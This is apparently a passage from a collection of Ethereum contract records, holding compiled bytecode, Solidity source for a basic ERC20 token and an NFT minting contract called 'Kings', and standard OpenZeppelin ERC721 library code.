fffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156128035780820151818401526020810190506127e8565b50505050905090810190601f1680156128305780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001613328603291398773ffffffffffffffffffffffffffffffffffffffff16612d659092919063ffffffff16565b905060008180602001905160208110156128ed57600080fd5b8101908080519060200190929190505050905063150b7a027c0100000000000000000000000000000000000000000000000000000000027bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b61297b8383612d7d565b6129886000848484612720565b6129dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806133286032913960400191505060405180910390fd5b505050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114612ae15760006001820390506000600186600001805490500390506000866000018281548110612a5057fe5b9060005260206000200154905080876000018481548110612a6d57fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480612aa557fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612ae7565b60009150505b92915050565b6000612af98383612f71565b612b52578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612b57565b600090505b92915050565b6000808460010160008581526020019081526020016000205490506000811415612c0457846000016040518060400160405280868152602001858152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508460000180549050856001016000868152602001908152602001600020819055506001915050612c32565b82856000016001830381548110612c1757fe5b90600052602060002090600202016001018190555060009150505b9392505050565b60008083600101600084815260200190815260200160002054905060008114612d465760006001820390506000600186600001805490500390506000866000018281548110612c8457fe5b9060005260206000209060020201905080876000018481548110612ca457fe5b9060005260206000209060020201600082015481600001556001820154816001015590505060018301876001016000836000015481526020019081526020016000208190555086600001805480612cf757fe5b6001900381819060005260206000209060020201600080820160009055600182016000905550509055866001016000878152602001908152602001600020600090556001945050505050612d4c565b60009150505b92915050565b600080823b905060008111915050919050565b6060612d748484600085612f94565b90509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b612e2981611a79565b15612e9c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b612ea860008383612475565b612ef981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061249490919063ffffffff16565b50612f10818360026124ae9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080836001016000848152602001908152602001600020541415905092915050565b6060823073ffffffffffffffffffffffffffffffffffffffff16311015613006576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061337e6026913960400191505060405180910390fd5b61300f85612d52565b613081576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106130d157805182526020820191506020810190506020830392506130ae565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613133576040519150601f19603f3d011682016040523d82523d6000602084013e613138565b606091505b5091509150613148828286613154565b92505050949350505050565b6060831561316457829050613219565b6000835111156131775782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156131de5780820151818401526020810190506131c3565b50505050905090810190601f16801561320b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b50805460018160011615610100020316600290046000825580601f106132465750613265565b601f01602090049060005260206000209081019061326491906132e8565b5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106132a957805160ff19168380011785556132d7565b828001600101855582156132d7579182015b828111156132d65782518255916020019190600101906132bb565b5b5090506132e491906132e8565b5090565b5b808211156133015760008160009055506001016132e9565b509056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a207472616e7366657220746f20746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732314d657461646174613a2055524920736574206f66206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f7665645f6173736572744d696e74696e67506172616d7356616c69643a20546f6b656e2055524920697320656d7074795f6173736572744d696e74696e67506172616d7356616c69643a2044657369676e6572206973207a65726f2061646472657373a2646970667358221220b7950f58cb15d3689d3c60642f44cd1be9cec05cc601a3fbaf6841c8db04e24d64736f6c634300060c0033
[ 5 ]
0xf28b5ebc98be9a7d58269c782938180dde3b40ed
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract BitcoinEco is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "BitcoinEco"; symbol = "BTCECO"; decimals = 8; _totalSupply = 2100000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a7230582033f1ef1425b4162b5abcf63ddc2363bd1440e59700e85fc9e095327757e25b910029
[ 38 ]
0xF28b858C74F1a070341bCC8bAF8A8069861be832
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; contract Kings is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable { using Counters for Counters.Counter; uint public constant MAX_SUPPLY = 10000; uint public constant AIRDROP_QUANTITY = 200; uint public constant PRE_SALE_QUANTITY = 300; uint public constant MAX_MINT_AMOUNT = 10; bool isPublicSaleOpen = false; bool isPreSaleOpen = false; mapping (address => bool) private presaleWallets; uint public constant SALE_PRICE = 0.09 ether; uint public constant PRESALE_PRICE = 0.09 ether; string public baseURI = "QmUNN5WFUmdD95E8qiGBD1QHjSSTkvNPRSgunSpR1s1UK4/"; Counters.Counter private _tokenIdCounter; constructor() ERC721("Kings", "KINGS") { } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function togglePublicSale() public onlyOwner { isPublicSaleOpen = !isPublicSaleOpen; } function togglePreSale() public onlyOwner { isPreSaleOpen = !isPreSaleOpen; } function setBaseURI(string memory newBaseURI) external onlyOwner { baseURI = newBaseURI; } function _baseURI() internal override view returns (string memory) { return baseURI; } function registerPresaleWallets(address[] memory wallets) public onlyOwner { for (uint idx = 0; idx < wallets.length; idx++) { presaleWallets[wallets[idx]] = true; } } function isRegisteredForPresale(address wallet) public view returns (bool) { return presaleWallets[wallet]; } /// @notice The owner-only airdrop minting. function mintAirdrop(uint256 amount) public onlyOwner { uint currentTotalSupply = totalSupply(); /// @notice This must be done before pre-sale or general minting. require(currentTotalSupply < AIRDROP_QUANTITY, "Max airdrop quantity reached"); if (currentTotalSupply + amount > AIRDROP_QUANTITY) { amount = AIRDROP_QUANTITY - currentTotalSupply; } _mintAmountTo(msg.sender, amount); } /// @notice Registered pre-sale minting. function mintPresale(uint256 amount) public payable { uint currentTotalSupply = totalSupply(); /// @notice Pre-sale minting cannot happen until the designated time. require(isPreSaleOpen == true, "presale is not open"); /// @notice Pre-sale minting cannot happen until airdrop is complete. require(currentTotalSupply >= AIRDROP_QUANTITY, "Not yet launched"); require(balanceOf(msg.sender) + amount <= 5, 'Each address may only buy 5 kings in presale'); /// @notice Sender wallet must be registered for the pre-sale. require(isRegisteredForPresale(msg.sender), "Not registered for pre-sale"); /// @notice Cannot exceed the pre-sale supply. require(currentTotalSupply + amount <= AIRDROP_QUANTITY + PRE_SALE_QUANTITY, "Not enough pre-sale supply left"); /// @notice Cannot mint more than the max mint per transaction. require(amount <= MAX_MINT_AMOUNT, "Mint amount exceeds the limit"); /// @notice Must send the correct amount. require(msg.value > 0 && msg.value == amount * PRESALE_PRICE, "Pre-sale minting price not met"); _mintAmountTo(msg.sender, amount); } /// @notice Public minting. function mint(uint256 amount) public payable { uint currentTotalSupply = totalSupply(); /// @notice Pre-sale minting cannot happen until the designated time. require(isPublicSaleOpen == true, "public sale is not open"); /// @notice Public minting cannot happen until the pre-sale is complete. require(currentTotalSupply >= AIRDROP_QUANTITY, "Not yet launched"); /// @notice Cannot exceed the total supply of dice. require(currentTotalSupply + amount <= MAX_SUPPLY, "Not enough mints left"); /// @notice Cannot mint more than the max mint per transaction. require(amount <= MAX_MINT_AMOUNT, "Mint amount exceeds the limit"); /// @notice Must send the correct amount. require(msg.value > 0 && msg.value == amount * SALE_PRICE, "Minting price not met"); _mintAmountTo(msg.sender, amount); } /// @notice Send contract balance to owner. function withdraw() public onlyOwner { (bool success, ) = owner().call{value: address(this).balance}(""); require(success, "Withdraw failed"); } function _mintAmountTo(address to, uint256 amount) internal { for (uint idx = 1; idx <= amount; idx++) { _safeMint(to, _tokenIdCounter.current()); _tokenIdCounter.increment(); } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } // The following functions are overrides required by Solidity. function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is 